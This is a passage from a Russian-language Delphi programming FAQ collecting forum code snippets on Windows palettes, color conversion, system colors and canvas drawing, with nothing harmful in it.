      //.......................................
    end;
    // завершение работы
    Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^);
  finally
    FreeMem(LogPalette, LogSize);
    // я должен позаботиться сам об удалении Released Palette
    DeleteObject(Palette);
  end;
end;

{ Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов)
  и меняет его палитру при нажатии кнопки }
unit bmpformu;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type
  TBmpForm = class(TForm)
    Button1: TButton;
    procedure FormDestroy(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    Bitmap: TBitmap;
    procedure ScrambleBitmap;
    procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;
end;

var
  BmpForm: TBmpForm;

implementation
{$R *.DFM}
procedure TBmpForm.FormCreate(Sender: TObject);
begin
  Bitmap := TBitmap.Create;
  Bitmap.LoadFromFile('bor6.bmp');
end;

procedure TBmpForm.FormDestroy(Sender: TObject);
begin
  Bitmap.Free;
end;

// since we're going to be painting the whole form, handling this
// message will suppress the uneccessary repainting of the background
// which can result in flicker.
procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);
begin
  m.Result := LRESULT(False);
end;

procedure TBmpForm.FormPaint(Sender: TObject);
var x, y: Integer;
begin
  y := 0;
  while y < Height do begin
    x := 0;
    while x < Width do begin
      Canvas.Draw(x, y, Bitmap);
      x := x + Bitmap.Width;
    end;
    y := y + Bitmap.Height;
  end;
end;

procedure TBmpForm.Button1Click(Sender: TObject);
begin
  ScrambleBitmap; Invalidate;
end;

// scrambling the bitmap is easy when it's has 256 colors:
// we just need to change each of the color in the palette
// to some other value.
procedure TBmpForm.ScrambleBitmap;
var
  pal: PLogPalette;
  hpal: HPALETTE;
  i: Integer;
begin
  pal := nil;
  try
    GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);
    pal.palVersion := $300;
    pal.palNumEntries := 256;
    for i := 0 to 255 do
    begin
      pal.palPalEntry[i].peRed := Random(255);
      pal.palPalEntry[i].peGreen := Random(255);
      pal.palPalEntry[i].peBlue := Random(255);
    end;
    hpal := CreatePalette(pal^);
    if hpal <> 0 then
      Bitmap.Palette := hpal;
  finally
    FreeMem(pal);
  end;
end;

end.

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Как найти контрастный цвет к данному?

function FindContrastingColor(Color: TColor): TColor;
var
  R, G, B: Byte;
begin
  R := GetRValue(Color);
  G := GetGValue(Color);
  B := GetBValue(Color);
  if (R < 128) then
    R := 255
  else
    R := 0;
  if (G < 128) then
    G := 255
  else
    G := 0;
  if (B < 128) then
    B := 255
  else
    B := 0;
  Result := RGB(R, G, B);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как выбрать цвет пользуя TTrackBar

Drop three TrackBars on a form. Set Min to 0, Max to 255. Drop a TImage on the form. Then try this code:

{ ... }
var
  Form1: TForm1;
  MyColor: LongWord;
  RedColor: LongWord = $00000000;
  GreenColor: LongWord = $00000000;
  BlueColor: LongWord = $00000000;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  DoImageFill;
end;

procedure TForm1.DoImageFill;
begin
  MyColor := RedColor or GreenColor or BlueColor;
  Image1.Canvas.Brush.Color := TColor(MyColor);
  Image1.Canvas.FillRect(Rect(0, 0, Image1.Width, Image1.Height));
end;

procedure TForm1.RedBarChange(Sender: TObject);
begin
  RedColor := RedBar.Position;
  DoImageFill;
end;

procedure TForm1.GreenBarChange(Sender: TObject);
begin
  GreenColor := GreenBar.Position shl 8;
  DoImageFill;
end;

procedure TForm1.BlueBarChange(Sender: TObject);
begin
  BlueColor := BlueBar.Position shl 16;
  DoImageFill;
end;

end.

Each color value ranges from 0 to 255. Set the three trackbars with this range. You can use the RGB function to create a color from these values.

{ ... }
type
  TForm1 = class(TForm)
    redTrackBar: TTrackBar;
    greenTrackBar: TTrackBar;
    blueTrackBar: TTrackBar;
    Panel1: TPanel;
    procedure blueTrackBarChange(Sender: TObject);
    procedure greenTrackBarChange(Sender: TObject);
    procedure redTrackBarChange(Sender: TObject);
  public
    { Public declarations }
    procedure ChangeColor;
  end;

procedure TForm1.ChangeColor;
begin
  Panel1.Color := RGB(redTrackBar.Position, greenTrackBar.Position, blueTrackBar.Position);
end;

procedure TForm1.blueTrackBarChange(Sender: TObject);
begin
  ChangeColor;
end;

procedure TForm1.greenTrackBarChange(Sender: TObject);
begin
  ChangeColor;
end;

procedure TForm1.redTrackBarChange(Sender: TObject);
begin
  ChangeColor;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как создать цветовую паллитру

Below are functions that help to create a palette (an identity palette, BTW) from an array of RGBQuads (such as you would find in the palette section of a .BMP file). I stole this from the WinG documentation, and converted it to Delphi. First call ClearSystemPalette, then you can get an identity palette by calling CreateIdentityPalette. If you plan to try palette animation, work in a 256-color mode, and change all the PC_NOCOLLAPSE entries below to PC_RESERVED. Besides creating the palette, the other pieces to the puzzle are:

1. Override the form's GetPalette method, so that it returns the new palette.

2. Select and realize the new palette just before you paint.

OldPal := SelectPalette(Canvas.Handle, NewPalette, False);
RealizePalette(Canvas.Handle);
{ Do your painting here }
SelectPalette(Canvas.Handle, OldPal, False);

3. Remember to release the palette when you are done using DeleteObject

4. If you are used using the RGB function to get color values, use the PaletteRGB function in its place.

function CreateIdentityPalette(const aRGB; nColors: Integer): HPALETTE;
type
  QA = array[0..255] of TRGBQUAD;
var
  Palette: PLOGPALETTE;
  PalSize: Word;
  ScreenDC: HDC;
  I: Integer;
  nStaticColors: Integer;
  nUsableColors: Integer;
begin
  PalSize := SizeOf(TLOGPALETTE) + SizeOf(TPALETTEENTRY) * 256;
  GetMem(Palette, PalSize);
  try
    with Palette^ do
    begin
      palVersion := $0300;
      palNumEntries := 256;
      ScreenDC := GetDC(0);
      try
        { For SYSPAL_NOSTATIC, just copy the color table into a PALETTEENTRY
          array and replace the first and last entries with black and white }
        if (GetSystemPaletteUse(ScreenDC) = SYSPAL_NOSTATIC) then
        begin
          { Fill in the palette with the given values, marking each with PalFlag }

{$R-}
          for i := 0 to (nColors - 1) do
            with palPalEntry[i], QA(aRGB)[I] do
            begin
              peRed := rgbRed;
              peGreen := rgbGreen;
              peBlue := rgbBlue;
              peFlags := PC_NOCOLLAPSE;
            end;
          { Mark any unused entries with PalFlag }
          for i := nColors to 255 do
            palPalEntry[i].peFlags := PC_NOCOLLAPSE;
          { Make sure the last entry is white -- This may replace an entry in the array!}
          I := 255;
          with palPalEntry[i] do
          begin
            peRed := 255;
            peGreen := 255;
            peBlue := 255;
            peFlags := 0;
          end;
          { And the first is black -- This may replace an entry in the array!}
          with palPalEntry[0] do
          begin
            peRed := 0;
            peGreen := 0;
            peBlue := 0;
            peFlags := 0;
          end;
{$R+}
        end
        else
        begin
          { For SYSPAL_STATIC, get the twenty static colors into the
            array, then fill in the empty spaces with the given color table }

          { Get the static colors from the system palette }
          nStaticColors := GetDeviceCaps(ScreenDC, NUMRESERVED);
          GetSystemPaletteEntries(ScreenDC, 0, 256, palPalEntry);
{$R-}
          { Set the peFlags of the lower static colors to zero }
          nStaticColors := nStaticColors shr 1;
          for i := 0 to (nStaticColors - 1) do
            palPalEntry[i].peFlags := 0;
          { Fill in the entries from the given color table}
          nUsableColors := nColors - nStaticColors;
          for I := nStaticColors to (nUsableColors - 1) do
            with palPalEntry[i], QA(aRGB)[i] do
            begin
              peRed := rgbRed;
              peGreen := rgbGreen;
              peBlue := rgbBlue;
              peFlags := PC_NOCOLLAPSE;
            end;
          { Mark any empty entries as PC_NOCOLLAPSE }
          for i := nUsableColors to (255 - nStaticColors) do
            palPalEntry[i].peFlags := PC_NOCOLLAPSE;
          { Set the peFlags of the upper static colors to zero }
          for i := (256 - nStaticColors) to 255 do
            palPalEntry[i].peFlags := 0;
        end;
      finally
        ReleaseDC(0, ScreenDC);
      end;
    end;
    { Return the palette }
    Result := CreatePalette(Palette^);
  finally
    FreeMem(Palette, PalSize);
  end;
end;

procedure ClearSystemPalette;
var
  Palette: PLOGPALETTE;
  PalSize: Word;
  ScreenDC: HDC;
  I: Word;
const
  ScreenPal: HPALETTE = 0;
begin
  PalSize := SizeOf(TLOGPALETTE) + SizeOf(TPALETTEENTRY) * 255; {256th = [0] }
  GetMem(Palette, PalSize);
  try
    FillChar(Palette^, PalSize, 0);
    Palette^.palVersion := $0300;
    Palette^.palNumEntries := 256;
{$R-}
    for I := 0 to 255 do
      with Palette^.palPalEntry[I] do
        peFlags := PC_NOCOLLAPSE;
{$R+}
    { Create, select, realize, deselect, and delete the palette }
    ScreenDC := GetDC(0);
    try
      ScreenPal := CreatePalette(Palette^);
      if ScreenPal <> 0 then
      begin
        ScreenPal := SelectPalette(ScreenDC, ScreenPal, FALSE);
        RealizePalette(ScreenDC);
        ScreenPal := SelectPalette(ScreenDC, ScreenPal, FALSE);
        DeleteObject(ScreenPal);
      end;
    finally
      ReleaseDC(0, ScreenDC);
    end;
  finally
    FreeMem(Palette, PalSize);
  end;
end;

unit VideoFcns;

interface
uses Windows;

procedure GrayColorTable(const clrtable: PRGBQUAD; const threshold: integer = -1);
procedure BinaryColorTable(const clrtable: PRGBQUAD; const threshold: integer);

implementation

procedure GrayColorTable(const clrtable: PRGBQUAD; const threshold: integer);
var
  j: integer;
  cp: PRGBQUAD;
begin
  if threshold <> -1 then
  begin
    BinaryColorTable(clrtable, threshold);
    exit;
  end;
  cp := clrtable;
  for j := 0 to 255 do
  begin
    {here you can set rgb components the way you like}
    cp^.rgbBlue := j;
    cp^.rgbGreen := j;
    cp^.rgbRed := j;
    cp^.rgbReserved := 0;
    inc(cp);
  end;
end;

procedure BinaryColorTable(const clrtable: PRGBQUAD; const threshold: integer);
var
  j: integer;
  g: integer;
  cp: PRGBQUAD;
begin
  cp := clrtable;
  for j := 0 to 255 do
  begin
    if j < threshold then
      g := 0
    else
      g := 255;
    cp^.rgbBlue := g;
    cp^.rgbGreen := g;
    cp^.rgbRed := g;
    cp^.rgbReserved := 0;
    inc(cp);
  end;
end;

Here is an example how palette is used:

procedure TBmpByteImage.FillBMPInfo(BMPInfo: pointer; const Wi, He: integer);
var
  p: ^TBitmapInfo;
begin
  p := BMPInfo;
  p^.bmiHeader.biSize := sizeof(p.bmiHeader);
  if Wi <> 0 then
    p^.bmiHeader.biWidth := Wi
  else
    p^.bmiHeader.biWidth := w;
  if He <> 0 then
    p^.bmiHeader.biHeight := He
  else
    p^.bmiHeader.biHeight := h;
  p^.bmiHeader.biPlanes := 1;
  p^.bmiHeader.biBitCount := 8;
  p^.bmiHeader.biCompression := BI_RGB;
  p^.bmiHeader.biClrUsed := 0;
  p^.bmiHeader.biClrImportant := 0;
end;

function TBmpByteImage.CreateDIB(const threshold: integer): HBITMAP;
var
  dc: HDC;
  bmpInfo: ^TBitmapInfo;
  BMPData: pointer;
  hBmp: HBITMAP;
  x, y: integer;
  cp1, cp2: pbyte;
begin
  GetMem(bmpInfo, sizeof(bmpInfo.bmiHeader) + sizeof(RGBQUAD) * 256);
  FillBMPInfo(BMPInfo);
  {I am using a grey palette}
  GrayColorTable(@bmpInfo^.bmiColors[0], threshold);
  dc := CreateDC('DISPLAY', nil, nil, nil);
  hBmp := CreateDIBSection(dc, bmpInfo^, DIB_RGB_COLORS, BMPData, 0, 0);
  DeleteDC(dc);
  FreeMem(bmpInfo, sizeof(bmpInfo.bmiHeader) + sizeof(RGBQUAD) * 256);
  cp2 := BMPData;
  for y := h - 1 downto 0 do
  begin
    cp1 := @g^[y]^[0];
    for x := 0 to w - 1 do
    begin
      cp2^ := cp1^;
      inc(cp1);
      inc(cp2);
    end;
  end;
  CreateDIB := hBmp;
end;

{and  finally draw bitmap }

procedure TBmpByteImage.Draw(const where: TImage; const threshold: integer);
var
  hBmp: HBITMAP;
  Bitmap1: TBitmap;
begin
  hBmp := CreateDIB(threshold);
  if hBmp = 0 then
    exit;
  Bitmap1 := TBitmap.Create;
  with Bitmap1 do
  begin
    Handle := hBmp;
    Width := w;
    Height := h;
  end;
  where.picture.Bitmap := Bitmap1;
  Bitmap1.Free;
  GlobalFree(hBmp);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

var
  Form1: TForm1;
  blueVal: Byte;
  BluePalette: HPalette;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var

  LogicalPalette: PLogPalette;
  ColorIndex: LongInt;
begin
  GetMem(LogicalPalette, (SizeOf(TLogPalette) + SizeOf(TPaletteEntry) * 256));
  GetSystemPaletteEntries(Canvas.Handle, 0, 256,
    LogicalPalette^.palPalEntry[0]);
  with LogicalPalette^ do

  begin
    palVersion := $300;
    palNumEntries := 256;
{$R-}
    for ColorIndex := 10 to 245 do
      with palPalEntry[ColorIndex] do
      begin
        peRed := 0;
        peGreen := 0;
        peBlue := 255 - (ColorIndex - 10);
        peFlags := PC_NOCOLLAPSE;
      end;
  end;
{$R+}
  BluePalette := CreatePalette(LogicalPalette^);
  FreeMem(LogicalPalette, (SizeOf(TLogPalette) + SizeOf(TPaletteEntry) * 256));
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin

  DeleteObject(BluePalette);
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

  Shift: TShiftState; X, Y: Integer);
var

  OldPal: HPALETTE;
begin

  OldPal := SelectPalette(Canvas.Handle, BluePalette, False);
  RealizePalette(Canvas.Handle);
  canvas.pen.color := $02000000 or (BlueVal * $00010000);
  canvas.pen.width := 10;
  canvas.moveto(0, 0);
  canvas.lineto(X, Y);
  SelectPalette(Canvas.Handle, OldPal, False);
  Inc(BlueVal);

  if BlueVal > 255 then
    BlueVal := 0;
end;

Взято с http://delphiworld.narod.ru


Изменение цветовой палитры изображения

Мне необходимо изменить цветовую палитру изображения с помощью SetBitmapBits, но у меня, к сожалению, ничего не получается.

Использование SetBitmapBits - не очень хорошая идея, поскольку она имеет дело с HBitmaps, в котором формат пикселя не определен. Несомненно, это более безопасная операция, но никаких гарантий по ее выполнению дать невозможно.

Взамен я предлагаю использовать функции DIB API. Вот некоторый код, позволяющий вам изменять таблицу цветов. Просто напишите метод с такими же параметрами, как у TFiddleProc и и изменяйте ColorTable, передаваемое как параметр. Затем просто вызовите процедуру FiddleBitmap, передающую TBitmap и ваш fiddle-метод, например так:

FiddleBitmap( MyBitmap, Fiddler ) ;

type
  TFiddleProc = procedure(var ColorTable: TColorTable) of object;

const
  LogPaletteSize = sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255;

function PaletteFromDIB(BitmapInfo: PBitmapInfo): HPalette;
var
  LogPalette: PLogPalette;
  i: integer;
  Temp: byte;
begin
  with BitmapInfo^, bmiHeader do
  begin
    GetMem(LogPalette, LogPaletteSize);
    try
      with LogPalette^ do
      begin
        palVersion := $300;
        palNumEntries := 256;
        Move(bmiColors, palPalEntry, sizeof(TRGBQuad) * 256);
        for i := 0 to 255 do
          with palPalEntry[i] do
          begin
            Temp := peBlue;
            peBlue := peRed;
            peRed := Temp;
            peFlags := PC_NOCOLLAPSE;
          end;

        { создаем палитру }
        Result := CreatePalette(LogPalette^);
      end;
    finally
      FreeMem(LogPalette, LogPaletteSize);
    end;
  end;
end;

{ Следующая процедура на основе изображения создает DIB,
изменяет ее таблицу цветов, создавая тем самым новую палитру,
после чего передает ее обратно изображению. При этом
используется метод косвенного вызова, с помощью которого
изменяется палитра цветов - ей передается array[ 0..255 ] of TRGBQuad. }

procedure FiddleBitmap(Bitmap: TBitmap; FiddleProc: TFiddleProc);
const
  BitmapInfoSize = sizeof(TBitmapInfo) + sizeof(TRGBQuad) * 255;
var
  BitmapInfo: PBitmapInfo;
  Pixels: pointer;
  InfoSize: integer;
  ADC: HDC;
  OldPalette: HPalette;
begin
  { получаем DIB }
  GetMem(BitmapInfo, BitmapInfoSize);
  try
    { меняем таблицу цветов - ПРИМЕЧАНИЕ: она использует 256 цветов DIB }
    FillChar(BitmapInfo^, BitmapInfoSize, 0);
    with BitmapInfo^.bmiHeader do
    begin
      biSize := sizeof(TBitmapInfoHeader);
      biWidth := Bitmap.Width;
      biHeight := Bitmap.Height;
      biPlanes := 1;
      biBitCount := 8;
      biCompression := BI_RGB;
      biClrUsed := 256;
      biClrImportant := 256;
      GetDIBSizes(Bitmap.Handle, InfoSize, biSizeImage);

      { распределяем место для пикселей }
      Pixels := GlobalAllocPtr(GMEM_MOVEABLE, biSizeImage);
      try
        { получаем пиксели DIB }
        ADC := GetDC(0);
        try
          OldPalette := SelectPalette(ADC, Bitmap.Palette, false);
          try
            RealizePalette(ADC);
            GetDIBits(ADC, Bitmap.Handle, 0, biHeight, Pixels, BitmapInfo^,
              DIB_RGB_COLORS);
          finally
            SelectPalette(ADC, OldPalette, true);
          end;
        finally
          ReleaseDC(0, ADC);
        end;

        { теперь изменяем таблицу цветов }
        FiddleProc(PColorTable(@BitmapInfo^.bmiColors)^);

        { создаем палитру на основе новой таблицы цветов }
        Bitmap.Palette := PaletteFromDIB(BitmapInfo);
        OldPalette := SelectPalette(Bitmap.Canvas.Handle, Bitmap.Palette,
          false);
        try
          RealizePalette(Bitmap.Canvas.Handle);
          StretchDIBits(Bitmap.Canvas.Handle, 0, 0, biWidth, biHeight, 0, 0,
            biWidth, biHeight,
            Pixels, BitmapInfo^, DIB_RGB_COLORS, SRCCOPY);
        finally
          SelectPalette(Bitmap.Canvas.Handle, OldPalette, true);
        end;
      finally
        GlobalFreePtr(Pixels);
      end;
    end;
  finally
    FreeMem(BitmapInfo, BitmapInfoSize);
  end;
end;

{ Пример "fiddle"-метода }

procedure TForm1.Fiddler(var ColorTable: TColorTable);
var
  i: integer;
begin
  for i := 0 to 255 do
    with ColorTable[i] do
    begin
      rgbRed := rgbRed * 9 div 10;
      rgbGreen := rgbGreen * 9 div 10;
      rgbBlue := rgbBlue * 9 div 10;
    end;
end;

Взято с http://delphiworld.narod.ru


Как можно узнать количество цветов текущего режима

GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) *
GetDeviceCaps(Form1.Canvas.Handle, PLANES)

Для получения общего количества битов, используемых для получения цвета используются следующие значения.

1 = 2 colors bpp
4 = 16 colors bpp
8 = 256 colors bpp
15 = 32768 colors (возвращает 16 на большинстве драйверов) bpp
16 = 65535 colors bpp
24 = 16,777,216 colors bpp
32 = 16,777,216 colors (то же, что и 24) bpp

Вы можете использовать:

NumberOfColors := (1 shl
(GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) *
GetDeviceCaps(Form1.Canvas.Handle, PLANES));

для подсчета общего количества используемых цветов.

Взято с http://delphiworld.narod.ru


Как преобразовать шестнадцатиричный цвет HTML в TColor

unit colours;

interface
uses
  Windows, Sysutils, Graphics;

  function ConvertHtmlHexToTColor(Color: string):TColor ;
  function CheckHexForHash(col: string):string ;

implementation

function ConvertHtmlHexToTColor(Color: string):TColor ;
var
  rColor: TColor;
begin
  Color := CheckHexForHash(Color);

  if (length(color) >= 6) then
  begin
    {незабудьте, что TColor это bgr, а не rgb: поэтому необходимо изменить порядок}
    color := '$00' + copy(color,5,2) + copy(color,3,2) + copy(color,1,2);
    rColor := StrToInt(color);
  end;

  result := rColor;
end;

// Просто проверяет первый сивол строки на наличие '#' и удаляет его, если он найден
function CheckHexForHash(col: string):string ;
begin
  if col[1] = '#' then
    col := StringReplace(col,'#','',[rfReplaceAll]);
  result := col;
end;

end.

Взято с http://delphiworld.narod.ru


RGB --> Gray

Function RgbToGray(RGBColor: TColor): TColor;
var
  Gray: byte;
begin
  Gray := Round((0.30 * GetRValue(RGBColor)) +
    (0.59 * GetGValue(RGBColor)) +
    (0.11 * GetBValue(RGBColor)));
  Result := RGB(Gray, Gray, Gray);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Shape1.Brush.Color := RGB(255, 64, 64);
  Shape2.Brush.Color := RgbToGray(Shape1.Brush.Color);
end;


Получить и установить системные цвета

var

  OldColor: TColor;
  Element: TColor = COLOR_BTNFACE;

  {....}

{
  Set the color for a system element. SetSysColors function
  changes the current Windows session only.
  The new colors are not saved when Windows terminates.
  For a list of color elements see  Win32 API Help - Function GetSysColor

  Open the ColorDialog - and set the new color systemwide
}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if ColorDialog1.Execute then
  begin
    SetSysColors(1, Element, ColorDialog1.Color);
  end;
end;

{
  Save the old color value of the element COLOR_BTNFACE to restore on Button2 click
}

procedure TForm1.FormShow(Sender: TObject);
begin
  OldColor := GetSysColor(COLOR_BTNFACE);
end;

{
  Restore the old color value
  Stellt den alten Farbwert wieder her
}

procedure TForm1.Button2Click(Sender: TObject);
begin
  SetSysColors(1, Element, OldColor);
end;

Взято сhttp://delphiworld.narod.ru


Функция для работы с палитрами и RGB

У меня трудности с пониманием операций, производимых в Delphi над палитрой. По существу, я имею 4 открытых формы, которые должны использовать цвета, которые не входят в стандрартный набор из 20 именованных цветов. Ячейки таблицы также должны использовать мои нестандартные цвета. Есть какой-либо способ обновления системной палитры для того, чтобы все формы использовали один и тот же цвет?

При работе с палитрами рекомендуется пользоваться функцией RGB. Если вы используете ее для изменения свойства "Color", Windows довольно хорошо справляется с задачай подбора цветов для низкого разрешения, а в системах с высоким разрешением вы получите точный цвет RGB. Это могло бы послужить выходом из создавшейся у вас ситуации. Вот пример формы, которая "линяет" от красного до синего:

procedure TForm1.FormClick(Sender: TObject);
var
  blue: Byte;
begin
  For blue := 0 to 255 do
  Begin
    Color := RGB(255-blue,0,blue);
    Update;
  End;
end;

Взято с http://delphiworld.narod.ru


Изменение палитры при выводе изображения

Да, это не тривиальная задача! Палитра дочернего MDI-окна попортила нервов не одному мне.

В обработчике сообщения WM_PaletteChanged вы можете убедиться, что видимая TImage.Picture.Bitmap.Palette всегда "реализована". Так..

private

procedure WMPaletteChanged(var Msg: TWMPaletteChanged);
  message WM_PaletteChanged;

...

procedure Form1.WMPaletteChanged(var Msg: TWMPaletteChanged);
begin
  if Msg.PalChg <> Form1.Handle then
  begin
    PaletteChanged(true);
    Msg.Result := 0;
  end;
end;

Теперь вы можете масштабировать неотображенное изображение как вы хотите и не иметь проблем. Единственное, о чем вам необходимо помнить, если вы хотите вывести неотображенное изображение на видимый TImage, вам необходимо вызвать PaletteChanged снова после того, как изображение выведено. С кодом, который мы использовали...

Image1.Picture.Bitmap := obitmap;
PaletteChanged(true);

Если вы не делаете этот вызов, изображение отобразится с неправильной палитрой.

Взято с http://delphiworld.narod.ru


Работа c Canvas

Cодержание раздела:

Заполняем Canvas рисунком с рабочего стола, учитывая координаты
Как создать временный canvas
Как очистить canvas Updated!
Как рисовать линии (или ещё что-нибудь) на экране (TDesktopCanvas)
Почему методы рисования Delphi (например MoveTo и LineTo) рисуют на один пиксел короче?
Как быстро нарисовать тень в заданном регионе?
Как рисовать на компоненте, если свойство Canvas недоступно?
Работа с изображением в памяти
Как быстро выводить графику?
Вывод текста на канве картинки
TCanvas и освобождение дескрипторов
Как поместить прозрачный текст на Canvas TBitmap
Убрать зазубринки при рисовании линий
Перемещать объект на сложном фоне
Карта высот картинки
Затенить компонент
Рисование без мерцания
Рисование графов
Рисование КРИВЫХ в Delphi
Рисование фрактальных графов
Двигаем крестик для показа значений X/Y New!

См. также статьи в других разделах:
Как нарисовать что-нибудь на TMemo?
Проблемы с TCanvas.StretchDraw при рисовании иконок
Пример работы с DrawIcon(Ex)


Заполняем Canvas рисунком с рабочего стола, учитывая координаты

Function PaintDesktop(HDC) : boolean;
Например: PaintDesktop(form1.Canvas.Handle);

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Как создать временный canvas

Создайте Bitmap, и воспользуйтесь свойством холста TBitmap-а, чтобы рисовать на нём. Следующий пример создаёт Bitmap, рисует на его canvas-е, рисует canvas на форме, а затем освобождает bitmap.

procedure TForm1.Button1Click(Sender: TObject);
var
  bm : TBitmap;
begin
  bm := TBitmap.Create;
  bm.Width := 100;
  bm.Height := 100;
  bm.Canvas.Brush.Color := clRed;
  bm.Canvas.FillRect(Rect(0, 0, 100, 100));
  bm.Canvas.MoveTo(0, 0);
  bm.Canvas.LineTo(100, 100);
  Form1.Canvas.StretchDraw(Form1.ClientRect, Bm);
  bm.Free;
end;

Взято из http://forum.sources.ru


Как очистить canvas

procedure TForm1.Button1Click(Sender: TObject);
begin
  PatBlt(Form1.Canvas.Handle,0,0,Form1.ClientWidth,Form1.ClientHeight,WHITENESS);
end;
Взято из http://forum.sources.ru

Canvas.Brush.Color := ClWhite;
Canvas.FillRect(Canvas.ClipRect);

InValidateRect(Canvas.handle,NIL,True);
(или взамен передать дескриптор компонента)

Взято с http://delphiworld.narod.ru

Есть два хороших способа очистить Canvas. Их скорости очень близки. В первом способе используются возможности Delphi, во втором – WinAPI. Первый способ удобнее тем, что позволяет закрашивать Canvas любым цветом.

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form1.Canvas.Brush.Color := clRed;
  Form1.Canvas.FillRect(Form1.ClientRect);
  PatBlt(Form1.Canvas.Handle, 0, 0,
    Form1.ClientWidth, Form1.ClientHeight, WHITENESS);
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как рисовать линии (или ещё что-нибудь) на экране (TDesktopCanvas)

Пример рисует две горизонтальные линии на экране используя TDesktopCanvas.
}
program TrinitronTraining;

uses
  Messages, Windows, Graphics, Forms;

type
  TDesktopCanvas = class(TCanvas)
  private
    DC : hDC;
    function     GetWidth:Integer;
    function     GetHeight:Integer;
  public
    constructor  Create;
    destructor   Destroy; override;
  published
    property Width: Integer read GetWidth;
    property Height: Integer read GetHeight;
  end;

{ Объект TDesktopCanvas }
function TDesktopCanvas.GetWidth:Integer;
begin
  Result:=GetDeviceCaps(Handle,HORZRES);
end;

function TDesktopCanvas.GetHeight:Integer;
begin
  Result:=GetDeviceCaps(Handle,VERTRES);
end;

constructor TDesktopCanvas.Create;
begin
  inherited Create;
  DC := GetDC(0);
  Handle := DC;
end;

destructor TDesktopCanvas.Destroy;
begin
  Handle := 0;
  ReleaseDC(0, DC);
  inherited Destroy;
end;

Const
  YCount    = 2;

Var
  desktop         : TDesktopCanvas;
  dx,dy           : Integer;
  i                : Integer;
  F                : Array[1..YCount] of TForm;

function CreateLine(Y : Integer) : TForm;
begin
  Result := TForm.Create(Application);
  with Result do begin
    Left      := 0;
    Top       := y;
    Width     := dx;
    Height    := 1;
    BorderStyle := bsNone;
    FormStyle   := fsStayOnTop;
    Visible     := True;
  end;
end;

procedure ProcessMessage;
var
  Msg     : TMsg;
begin
  if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
    if Msg.Message = WM_QUIT then Application.Terminate;
end;

begin
  desktop := TDesktopCanvas.Create;
  try
    dx := desktop.Width;
    dy := desktop.Height div (YCount+1);
  finally
    desktop.free;
  end;
  for i:=1 to YCount do F[i]:=CreateLine(i*dy);
  Application.NormalizeTopMosts;
  ShowWindow(Application.Handle, SW_Hide);

  for i:=1 to YCount do
  SetWindowPos(F[i].Handle, HWND_TOPMOST, 0,0,0,0, SWP_NOACTIVATE+SWP_NOMOVE+SWP_NOSIZE);

{ следующие строки используются для того, чтобы не останавливаться
  repeat
    ProcessMessage;
  until false;
{}
  Sleep(15000);

  for i:=1 to YCount do F[i].Free;
end.

Взято из http://forum.sources.ru


Почему методы рисования Delphi (например MoveTo и LineTo) рисуют на один пиксел короче?

Так работает большинство графических систем, включая Windows. Библиотека VCL просто передает вызовы в функции GDI. Если Вы хотите нарисовать линию с последним пикселом включительно просто добавте единицу к координатам.


Как быстро нарисовать тень в заданном регионе?

procedure TForm2.DrawShadows(WDepth, HDepth : Integer);
var
  Dst, RgnBox  : TRect;
  hOldDC         : HDC;
  OffScreen      : TBitmap;
  Pattern          : TBitmap;
  Bits               : array[0..7] of WORD;
begin
  Bits[0]:=$0055;
  Bits[1]:=$00aa;
  Bits[2]:=$0055;
  Bits[3]:=$00aa;
  Bits[4]:=$0055;
  Bits[5]:=$00aa;
  Bits[6]:=$0055;
  Bits[7]:=$00aa;

  hOldDC:=Canvas.Handle;
  Canvas.Handle:=GetWindowDC(Form1.Handle);

  OffsetRgn(ShadeRgn, WDepth, HDepth);
  GetRgnBox(ShadeRgn, RgnBox);

  Pattern:=TBitmap.Create;
  Pattern.ReleaseHandle;
  Pattern.Handle:=CreateBitmap(8, 8, 1, 1, @(Bits[0]));
  Canvas.Brush.Bitmap:=Pattern;

  OffScreen:=TBitmap.Create;
  OffScreen.Width:=RgnBox.Right-RgnBox.Left;
  OffScreen.Height:=RgnBox.Bottom-RgnBox.Top;
  Dst:=Rect(0, 0, OffScreen.Width, OffScreen.Height);

  OffsetRgn(ShadeRgn, 0, -RgnBox.Top);
  FillRgn(OffScreen.Canvas.Handle, ShadeRgn, Canvas.Brush.Handle);

  OffsetRgn(ShadeRgn, 0, RgnBox.Top);

//  BitBlt работает быстрее CopyRect
  BitBlt(OffScreen.Canvas.Handle, 0, 0, OffScreen.Width, OffScreen.Height,
         Canvas.Handle, RgnBox.Left, RgnBox.Top, SRCAND);

  Canvas.Brush.Color:=clBlack;
  FillRgn(Canvas.Handle, ShadeRgn, Canvas.Brush.Handle);

  BitBlt(Canvas.Handle, RgnBox.Left, RgnBox.Top, OffScreen.Width,
   OffScreen.Height, OffScreen.Canvas.Handle, 0, 0, SRCPAINT);

  OffScreen.Free;
  Pattern.Free;

  OffsetRgn(ShadeRgn, -WDepth, -HDepth);

  ReleaseDC(Form1.Handle, Canvas.Handle);
  Canvas.Handle:=hOldDC;
end;

